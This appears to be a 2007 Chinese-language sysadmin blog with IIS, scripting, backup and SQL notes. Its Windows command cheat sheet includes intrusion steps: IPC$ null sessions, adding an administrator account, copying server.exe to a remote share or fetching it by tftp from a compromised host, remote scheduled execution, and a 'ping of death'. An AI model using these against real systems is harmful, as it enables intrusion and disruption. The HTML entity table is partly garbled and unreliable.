先在服务里关闭iisadminservice服务
找到WINDOWS\system32\inetsrv\下的MetaBase.xml,
打开,找到ASPMaxRequestEntityAllowed把他修改为需要的值,默认为204800,即200K,把它修改为51200000或者更大[根据文件大小确定]。
然后重启iisadminservice服务。

2007年7月12日 星期四

windows command line 指令簡易說明


net use [url=file://ip/ipc$]\\ip\ipc$[/url] " " /user:" " 建立IPC空連結
net use [url=file://ip/ipc$]\\ip\ipc$[/url] "密碼" /user:"用戶名" 建立IPC非空連結
net use h: [url=file://ip/c$]\\ip\c$[/url] "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: [url=file://ip/c$]\\ip\c$[/url] 登陸後映射對方C:到本地為H:
net use [url=file://ip/ipc$]\\ip\ipc$[/url] /del 刪除IPC連結
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立使用者
net user guest /active:yes 啟動guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup ***istrators 用戶名 /add 把“用戶”添加到管理員中使其具有管理員許可權,注意:***istrator後加s用複數
net start 查看開啟了哪些服務
net start 服務名  開啟服務;(如:net start telnet, net start schedule)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與“目標IP”主機的時間同步,加上參數/yes可取消確認資訊
net view 查看本地局域網內開啟了哪些共用
net view [url=file://ip/]\\ip[/url] 查看對方局域網內開啟了哪些共用
net config 顯示系統網路設置
net logoff 斷開連接的共用
net pause 服務名 暫停某服務
net send ip "文本資訊" 向對方發資訊
net ver 局域網內正在使用的網路連接類型和資訊
net share 查看本地開啟的共用
net share ipc$ 開啟ipc$共用
net share ipc$ /del 刪除ipc$共用
net share c$ /del 刪除C:共用
net user guest 12345 用guest使用者登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協定使用情況(查看tcp/ip協定使用情況)
netstat -s 查看正在使用的所有協定使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或電腦名) 跟蹤路由(資料包),參數:“-w數位”用於設置超時間隔。
ping ip(或功能變數名稱) 向對方主機發送預設大小為32位元組的資料,參數:“-l[空格]數據包大小”;“-n發送資料次數”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的檔並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數“/all”顯示全部配置資訊
tlist -t 以樹行清單顯示進程(為系統的附加工具,預設是沒有安裝的,在安裝目錄的Support/tools資料夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,預設是沒有安裝的,在安裝目錄的Support/tools資料夾內)
del -F 檔案名 加-F參數後就可刪除唯讀檔案,/AR、/AH、/AS、/AA分別表示刪除唯讀、隱藏、系統、存檔檔,/A-R、/A-H、/A-S、/A-A表示刪 除除唯讀、隱藏、系統、存檔以外的檔。例如“DEL/AR *.*”表示刪除目前的目錄下所有唯讀檔案,“DEL/A-S *.*”表示刪除目前的目錄下除系統檔以外的所有檔
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和檔。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符\路徑\要移動的檔案名 存放移動檔的路徑\移動後檔案名 移動檔,用參數/y將取消確認移動目錄存在相同檔的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個檔並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已註冊的某個計畫任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已註冊的計畫任務
at 查看所有的計畫任務
at [url=file://ip/]\\ip[/url] time 程式名(或一個命令) /r 在某時間運行對方某程式並重新開機電腦
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
copy 路徑\檔案名1 路徑\檔案名2 /y 複製檔1到指定的目錄為檔2,用參數/y就同時取消確認你要改寫一份現存目錄檔
copy c:\srv.exe [url=file://ip/***$]\\ip\***$[/url] 複製本地c:\srv.exe到對方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的檔,注:2st.txt文件頭要空三排,參數:/b指二進位檔案,/a指ASCLL格式檔
copy [url=file://ip/***$/svv.exe]\\ip\***$\svv.exe[/url] c:\ 或:copy\\ip\***$\*.* 複製對方***i$共用下的srv.exe檔(所有檔)至本地C:
xcopy 要複製的檔或目錄樹 目標位址\目錄名 複製檔和目錄樹,用參數/Y將不提示覆蓋相同檔
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將“IP”的server.exe下載到目標主機c:\server.exe 參數:-i指以二進位模式傳送,如傳送exe檔時用,如不加-i 則以ASCII模式(傳送文字檔模式)進行傳送
tftp -i 對方IP put c:\server.exe 登陸後,上傳本地c:\server.exe至主機
ftp ip 埠 用於上傳檔至伺服器或進行檔操作,默認埠為21。bin指用二進位方式傳送(可執行檔進);默認為ASCII格式傳送(文字檔時)
route print 顯示出IP路由,將主要顯示網路位址Network addres,子網路遮罩Netmask,閘道位址Gateway addres,介面位址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC位址。arp -a將顯示出全部資訊
start 程式名或命令 /max 或/min 新開一個新視窗並最大化(最小化)運行某程式或命令
mem 查看cpu使用情況
attrib 檔案名(目錄名) 查看某檔(目錄)的屬性
attrib 檔案名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某檔的 存檔,唯讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示檔及目錄屬系統哪個使用者,/T:C顯示檔創建時間,/T:A顯示檔上次被存取時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即“DATE/T”、“TIME/T”將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批次程式,並顯示出:請按任意鍵繼續....
if 在批次程式中執行條件處理(更多說明見if命令及變數)
goto 標籤 將cmd.exe導向到批次程式中帶標籤的行(標籤必須單獨一行,且以冒號打頭,例如:“:start”標籤)
call 路徑\批次檔名 從批次程式中調用另一個批次程式 (更多說明見call /?)
for 對一組檔中的每一個檔執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 資訊 在螢幕上顯示出資訊
echo 信息 >> pass.txt 將"資訊"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt檔中尋找字串hello
find 檔案名 查找某檔
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )
ver 在DOS視窗下顯示版本資訊
winver 彈出一個視窗顯示版本資訊(記憶體大小、系統版本、補丁版本、電腦名)
format 盤符 /FS:類型 格式化磁片,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 原始檔案 要替換檔的目錄 替換檔
ren 原檔案名 新檔案名 重命名檔案名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個資料夾中檔案名稱
type 檔案名 顯示文字檔的內容
more 檔案名 逐屏顯示輸出檔
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令列,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出工作管理員
chkdsk /F D: 檢查磁片D並顯示狀態報告;加參數/f並修復磁片上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務預設埠23為其它任何埠
exit 退出cmd.exe程式或目前,用參數/B則是退出當前批次處理腳本而不是cmd.exe
path 路徑\可執行檔的檔案名 為可執行檔設置一個路徑。
cmd 啟動一個win2K命令解釋視窗。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 註冊表檔案名 導入註冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 註冊表檔案名 匯出註冊表
cacls 檔案名 參數 顯示或修改檔存取控制清單(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名erm 替換指定用戶的存取權限;/G 用戶名erm 賦予指定用戶存取權限;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 檔案名 查看檔的訪問用戶許可權列表
REM 文本內容 在批次檔中添加注解
netsh 查看或更改本地網路配置情況
IIS服務命令:
iisreset /reboot 重啟win2k電腦(但有提示系統將重啟資訊出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新開機所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新開機
iisreset /rebootonerror 當啟動、停止或重新開機Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令列格式為:
ftp -v -d -i -n -g[主機名稱] -v 顯示遠端伺服器的所有回應資訊。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全域檔案名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地檔案名 [上傳到主機上的檔案名] 將本地一個檔傳送至遠端主機中
get 或 recv [遠端主機檔案名] [下載到本地後的檔案名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批檔至本地主機
mput local-files 將本地主機中一批檔傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的檔.如果有本地檔,就將結果寫至本地檔
ascii 設定以ASCII方式傳送檔(缺省值)
bin 或 image 設定以二進位方式傳送檔
bell 每完成一次檔傳送,報警提示
cdup 返回上一級目錄
close 中斷與遠端伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的檔
mdelete [remote-files] 刪除一批檔
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的檔案名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義巨集命令
lcd 改變當前本地主機的工作目錄,如果缺省,就轉到當前使用者的HOME目錄
chmod 改變遠端主機的檔許可權
case 當為ON時,用MGET命令拷貝的檔案名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠端主機目錄
cdup 進入遠端主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip
MYSQL 命令:
mysql -h主機位址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級使用者root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysql*** -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫清單。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統資訊,我們改密碼和新增使用者,實際上就是用這個庫進行操作。

2007年6月28日 星期四

admin scripting tools

一些和自動化網管有關的東西
重點:WSH, PowerShell, WMI, ADSI, VBS
需求:語法提示
Bonus: Script Resource, REference

Scripting Tools:
OnScript Editor: $75
focus on script, fully COM library and few reference
Neat one, small and useful.
Better than ASE personal edition, esp in syntax remind.
Admin Script EDitor: $99
Slow, unstatable.
Lots reference tho.
Fully com library.
A bit heavy, not a smooth one. Kind of bad organize.
But full support to WMI, ADSI (enterprise edtion, $299 orz)

Focus On VBS: $15
support VBS
有語法提示
PowerShell IDE(PowerShell Analyzer): $100, $59 promotion
Support Powershell,
Only Powershell

Resource Tuner Console: $199
· Add, edit, rename, replace, or delete string resources in executables
· Add, delete, or update file version information
· Modify the language for all of the resources in the files to one uniform value
· Convert a multi-lingual resource directory into a single-language one
· Convert a single-language resource directory into a multi-lingual one
· Create a copy of the resource with another specified language
· Provide support for multi-byte international character sets
· Update the checksum in the PE file header
· Export and save an entire file's resources as a resource DLL
· Multiple invokations using different parameter values

SystemScripter
One of the best script editors worldwide, Systemscripter supports a wide range of script languages (VBScript, HTA, ASP, and WSF), comes with an integrated debugger, code folding, WYSIWYG designer for HTML, code snippet support and lots of browsers which not only reveal scriptable COM libraries on your systems but also WMI, ADSI, and Active Directory. Via drag & drop, the editor automatically generates script code and helps write professional scripts even if you just begin to script windows. Version 6.01.20 may include unspecified updates, enhancements, or bug fixes.


網站
http://www.softpedia.com/
Guy Thomas: Logon Scripts, VBScripts for W2K3 and WSH Scripts and the Scripting Ezine

.Jeffery D. Hicks: JDH Information Technology Solutions - Script Samples and Newsletters.

Rob van der Woude's Scripting Pages - chock-full of scripting examples, ready to be used.

Scripting Guide for Windows - Part of the WinGuides Network: VBScript Reference Guide, WSH Reference Guide

2007年6月15日 星期五

用VBS寄信

http://www.paulsadowski.com/WSH/cdo.htm

Set objMessage = CreateObject("CDO.Message")
objMessage.Subject = "Example CDO Message"
objMessage.From = "me@my.com"
objMessage.To = "test@paulsadowski.com"
objMessage.TextBody = "This is some sample message text."
objMessage.AddAttachment "c:\temp\readme.txt"
objMessage.Send

Windows下備份的免費方法

1 SyncToy: MS出的免費軟體,目前最新版號1.4。可惜在我的XP sp2上跑會有問題。
另一個問題是似乎不能用指令開啟、給參數,可惜了。
2 xCopy:其實我覺得這東西比較好用.. 可惜無法做差異備份
參數:

複製檔案和樹狀目錄。

XCOPY source [destination] [/A | /M] [/D[:date]] [/P] [/S [/E]] [/V] [/W]
[/C] [/I] [/Q] [/F] [/L] [/G] [/H] [/R] [/T] [/U]
[/K] [/N] [/O] [/X] [/Y] [/-Y] [/Z]\r\r
[/EXCLUDE:file1[+file2][+file3]...]

source 指定要複製的檔案。
destination 指定位置或者/以及新檔案的名稱。
/A 只複製設定成保存屬性的檔案,不要改變屬性的設定。
/M 只複製設定成保存屬性的檔案,並清除保存屬性。
/D:m-d-y 複製在指定日期當天或之後發生變更的檔案。如果沒有給日期,
只複製那些來源檔案日期比目的檔案日期為新的檔案。
/EXCLUDE:file1[+file2][+file3]...
指定檔案清單字串。每個字串
應該在檔案中的不同行。如果有字串對應到要進行複製的檔案絕
對路徑的任何部分,這個檔案會被排除複製。例如,指定字串
\obj\ 或 .obj 的話,會排除所有在 obj 目錄下副檔名是
.obj 的檔案複製。
/P 在建立每個目的檔案時顯示提示。
/S 複製每個目錄及其包含的子目錄,不複製空目錄。
/E 複製每個目錄及其包含的子目錄,也複製空目錄。/S 與 /E
相同,能夠用來修改 /T。
/V 驗證每個新檔案。
/W 在複製之前提示您按鍵繼續。
/C 如果錯誤發生時也繼續複製。
/I 如果目的不存在且複製一個以上的檔案的話,就假設指定的
目的一定是目錄。
/Q 在複製時不要顯示檔名。
/F 在複製時顯示來源及目的檔案的全部檔名。
/L 顯示要複製的檔案。
/G 允許加密檔案複製到不支援加密的
目的地。
/H 時複製隱藏檔和系統檔。
/R 覆蓋唯讀檔案。
/T 建立目錄結構,但不複製其中的檔案。不包括空目錄及子目錄。
/T /E 會包括空目錄及子目錄。
/U 只複製已經存在目的位置的檔案。
/K 複製檔案屬性。通常 Xcopy 會重設唯讀的屬性。
/N 用所產生的短檔名來進行複製。
/O 複製檔案所有權及 ACL 資訊。
/X 複製檔案審查設定 (包含 /O)。
/Y 不要提示您確認是否要覆蓋一個已經存在的檔案。
/-Y 示您確認是否要覆蓋一個已經存在的檔案。
/Z 在可重新開始的模式中複製網路檔案。

參數 /Y 可以在 COPYCMD 環境變數中預先設定。但可以在命令列中用 /-Y 參數
來覆蓋原有設定。

2007年6月13日 星期三

Win Server 管理員必備工具

Windows Server 2003 支援工具
  1. Windows Server 2003 Administration Tools Pack
  2. Microsoft Network Monitor 3
  3. Windows Server 2003 Service Pack 1 Administration Tools Pack
  4. Windows Server 2003 Service Pack 1 32-bit Support Tools
  5. Windows Server 2003 Resource Kit Tool Updates
  6. Windows Server 2003 Management Services

IIS6 下載搜尋結果

節錄其中一些部分
  1. Debug Diagnostic Tool v1.1
  2. IIS Diagnostics Toolkit (x86)
  3. IIS Diagnostics Toolkit (x64)
  4. Internet Information Services (IIS) 6.0 Manager for Windows XP
  5. Internet Information Services (IIS) 6.0 Resource Kit
  6. Authentication and Access Control Diagnostics 1.0 (x86)
  7. TraceDiag 1.0 (x86)
  8. Trace Diagnostics 1.0 (ia64)





Internet Information Services (IIS) 6.0 Resource Kit Tools

內含工具:
  • IIS 6.0 Migration Tool Version 1.0 Version 1.1 Now Available!
  • Apache to IIS 6.0 Migration Tool Version 1.0
  • CustomAuth Version 1.0
  • IISCertDeploy.vbs Version 1.0
  • IIS Host Helper Service Version 1.0
  • IISState Version 3.0
  • Log Parser Version 2.1 Version 2.2 Now Available!
  • Metabase Explorer Version 1.6
  • Permissions Verifier Version 1.0
  • RemapUrl Version 1.0
  • SelfSSL Version 1.0
  • TinyGet Version 5.2
  • Web Capacity Analysis Tool Version 5.2
  • WFetch Version 1.3

IIS Diagnostics Toolkit (x86)

內含工具:
  • Authentication and Access Control Diagnostics 1.0
  • SSL Diagnostics 1.1
  • SMTP Diagnostics 1.0
  • Log Parser 2.2
  • Trace Diagnostics 1.0
  • WFetch 1.4
  • Debug Diagnostics 1.0

    Windows Server 2003 Service Pack 1 Administration Tools Pack

  • 說明請看http://support.microsoft.com/default.aspx?scid=kb;en-us;304718

    2007年5月31日 星期四

    escape character list 特殊字元表

    http://msdn2.microsoft.com/en-us/library/4edbef7e(vs.71).aspx
    \a Matches a bell (alarm) \u0007.
    \b Matches a backspace \u0008 if in a [] character class; otherwise, see the note following this table.
    \t Matches a tab \u0009.
    \r Matches a carriage return \u000D.
    \v Matches a vertical tab \u000B.
    \f Matches a form feed \u000C.
    \n Matches a new line \u000A.
    \e Matches an escape \u001B.
    \040 Matches an ASCII character as octal (up to three digits); numbers with no leading zero are backreferences if they have only one digit or if they correspond to a capturing group number. (For more information, see Backreferences.) For example, the character \040 represents a space.
    \x20 Matches an ASCII character using hexadecimal representation (exactly two digits).
    \cC Matches an ASCII control character; for example, \cC is control-C.
    \u0020 Matches a Unicode character using hexadecimal representation (exactly four digits).
    \ When followed by a character that is not recognized as an escaped character, matches that character. For example, \* is the same as \x2A.
    Printf of C
    http://libai.math.ncu.edu.tw/bcc16/C/C/b-8.shtml


    HTML部分
    Symbol Code Entity Name
    Space
    ! !
    " " "
    # #
    $ $
    % %
    & &#38; &
    ' '
    ( (
    ) )
    * *
    + +
    , ,
    - -
    . .
    / /
    0 0
    1 1
    2 2
    3 3
    4 4
    5 5
    6 6
    7 7
    8 8
    9 9
    : :
    ; ;
    < < <
    = =
    > > >
    ? ?
    @ @
    A A
    B B
    C C
    D D
    E E
    F F
    G G
    H H
    I I
    J J
    K K
    L L
    M M
    N N
    O O
    P P
    Q Q
    R R
    S S
    T T
    U U
    V V
    W W
    X X
    Y Y
    Z Z
    [ [
    \ \
    ] ]
    ^ ^
    _ _
    ` `
    a a
    b b
    c c
    d d
    e e
    f f
    g g
    h h
    i i
    j j
    k k
    l l
    m m
    n n
    o o
    p p
    q q
    r r
    s s
    t t
    u u
    v v
    w w
    x x
    y y
    z z
    { {
    | |
    } }
    ~ ~
    Non-breaking space  
    ¡ ¡ ¡
    ¢ ¢ ¢
    £ £ £
    ¤ ¤ ¤
    ¥ ¥ ¥
    ¦ ¦ ¦
    § § §
    ¨ ¨ ¨
    © © ©
    ª ª ª
    « «
    ¬ ¬ ¬
    ­
    ­ ­
    ® ® ®
    ¯ ¯ ¯
    ° ° °
    ± ± ±
    ² ² ²
    ³ ³ ³
    ´ ´ ´
    µ µ µ
    · · ·
    ¸ ¸ ¸
    ¹ ¹ ¹
    º º º
    » » »
    ¼ ¼ ¼
    ½ ½ ½
    ¾ ¾ ¾
    ¿ ¿ ¿
    À À À
    Á Á Á
    Â Â Â
    Ã Ã Ã
    Ä Ä Ä
    Å Å &Aring;
    Æ Æ Æ
    Ç Ç Ç
    È È È
    É É É
    Ê Ê Ê
    Ë Ë Ë
    Ì Ì Ì
    Í Í Í
    Î Î Î
    Ï Ï Ï
    Ð Ð Ð
    Ñ Ñ Ñ
    Ò Ò Ò
    Ó Ó Ó
    Ô Ô Ô
    Õ Õ Õ
    Ö Ö Ö
    × × ×
    Ø Ø Ø
    Ù Ù Ù
    Ú Ú Ú
    Û Û Û
    Ü Ü Ü
    Ý Ý Ý
    Þ Þ Þ
    ß ß ß
    à à à
    á á á
    â â â
    ã ã ã
    ä ä ä
    å å å
    æ æ æ
    ç ç ç
    è è è
    é é é
    ê ê ê
    ë ë ë
    ì ì ì
    í í &iacute;
    î î î
    ï ï ï
    ð ð ð
    ñ ñ ñ
    ò ò ò
    ó ó ó
    ô ô ô
    õ õ õ
    ö ö ö
    ÷ ÷ ÷
    ø ø ø
    ù ù ù
    ú ú ú
    û û û
    ü ü ü
    ý ý ý
    þ þ þ
    ÿ ÿ
    Ā Ā
    ā ā
    Ă Ă
    ă ă
    Ą Ą
    ą ą
    Ć Ć
    ć ć
    Ĉ Ĉ
    ĉ ĉ
    Ċ Ċ
    ċ ċ
    Č Č
    č č
    Ď Ď
    ď ď
    Đ Đ
    đ đ
    Ē Ē
    ē ē
    Ĕ Ĕ
    ĕ ĕ
    Ė Ė
    ė ė
    Ę Ę
    ę ę
    Ě Ě
    ě ě
    Ĝ Ĝ
    ĝ ĝ
    Ğ Ğ
    ğ ğ
    Ġ Ġ
    ġ ġ
    Ģ Ģ
    ģ ģ
    Ĥ Ĥ
    ĥ ĥ
    Ħ Ħ
    ħ ħ
    Ĩ Ĩ
    ĩ ĩ
    Ī Ī
    ī ī
    Ĭ Ĭ
    ĭ ĭ
    Į Į
    į į
    İ İ
    ı ı
    IJ IJ
    ij ij
    Ĵ Ĵ
    ĵ ĵ
    Ķ Ķ
    ķ ķ
    ĸ ĸ
    Ĺ Ĺ
    ĺ ĺ
    Ļ Ļ
    ļ ļ
    Ľ Ľ
    ľ ľ
    Ŀ Ŀ
    ŀ ŀ
    Ł Ł
    ł ł
    Ń Ń
    ń ń
    Ņ Ņ
    ņ ņ
    Ň Ň
    ň ň
    ʼn ʼn
    Ŋ Ŋ
    ŋ ŋ
    Ō Ō
    ō ō
    Ŏ Ŏ
    ŏ ŏ
    Ő Ő
    ő ő
    Œ Œ
    œ œ
    Ŕ Ŕ
    ŕ ŕ
    Ŗ Ŗ
    ŗ ŗ
    Ř Ř
    ř ř
    Ś Ś
    ś ś
    Ŝ Ŝ
    ŝ ŝ
    Ş Ş
    ş ş
    Š Š
    š š
    Ţ Ţ
    ţ ţ
    Ť Ť
    ť ť
    Ŧ Ŧ
    ŧ ŧ
    Ũ Ũ
    ũ ũ
    Ū Ū
    ū ū
    Ŭ Ŭ
    ŭ ŭ
    Ů Ů
    ů ů
    Ű Ű
    ű ű
    Ų Ų
    ų ų
    Ŵ Ŵ
    ŵ ŵ
    Ŷ Ŷ
    ŷ ŷ
    Ÿ Ÿ
    Ź Ź
    ź ź
    Ż Ż
    ż ż
    Ž Ž
    ž ž
    ſ ſ
    Ŕ Ŕ
    ŕ ŕ
    Ŗ Ŗ
    ŗ ŗ
    Ř Ř
    ř ř
    Ś Ś
    ś ś
    Ŝ Ŝ
    ŝ ŝ
    Ş Ş
    ş ş
    Š Š
    š š
    Ţ Ţ
    ţ ţ
    Ť Ť
    ť Ɂ
    Ŧ Ŧ
    ŧ ŧ
    Ũ Ũ
    ũ ũ
    Ū Ū
    ū ū
    Ŭ Ŭ
    ŭ ŭ
    Ů Ů
    ů ů
    Ű Ű
    ű ű
    Ų Ų
    ų ų
    Ŵ Ŵ
    ŵ ŵ
    Ŷ Ŷ
    ŷ ŷ
    Ÿ Ÿ
    Ź Ź
    ź ź
    Ż Ż
    ż ż
    Ž Ž
    ž ž
    ſ ſ

    開兩個MSN最安全的辦法

    我不敢用msn shell,所以搜尋了一下
    發現a-patch的東西似乎不錯用
    有興趣的用用看吧

    如果你比我還懶
    記得找適合自己版本的

    Boo~ 中文環境不適用

    人老了就機車

    您別急,我不是在說您
    也許我該改個標題叫作人有了責任感就變機車?
    算了,先說說為什麼這麼想吧

    剛剛同事來了個電話,說想在網站上放各511K的小東西
    您知道的,一個人511K,十個人就5M,50個..,100個... orz
    我跟他談了一陣子確認一些細節後(雖然沒有證據)就放過去了
    畢竟業務優先,我這邊主要是負責擦屁股

    掛上電話,我忽然發現我對這種小事情越來越擔心了
    事實上,最近server常出問題,雖然大多和我的動作沒有直接關係
    不過坐在網管這椅子上,誰都不敢說這樣沒關係吧
    因此,漸漸地,對任何的小變動都會擔心
    凡事往壞處想,算是我的一個明顯改變 orz

    我也想大氣阿
    可是,當大氣的後果就是出問題時不知道問題在哪的時候
    誰敢呢?
    我老了,膽子小了,變得更機車了

    2007年5月30日 星期三

    如何限定 SQL log 檔案的成長

    用來限制SQL檔案大小的指令,應該是SQL server限定版

    dbcc sqlperf(logspace)

    Database name, log size, log space used(%), status

    Track Log Growth
    http://vyaskn.tripod.com/track_sql_database_file_growth.htm
    EXEC sp_track_db_growth '@name'
    GO

    Reading LOG
    SQL server Log Explorer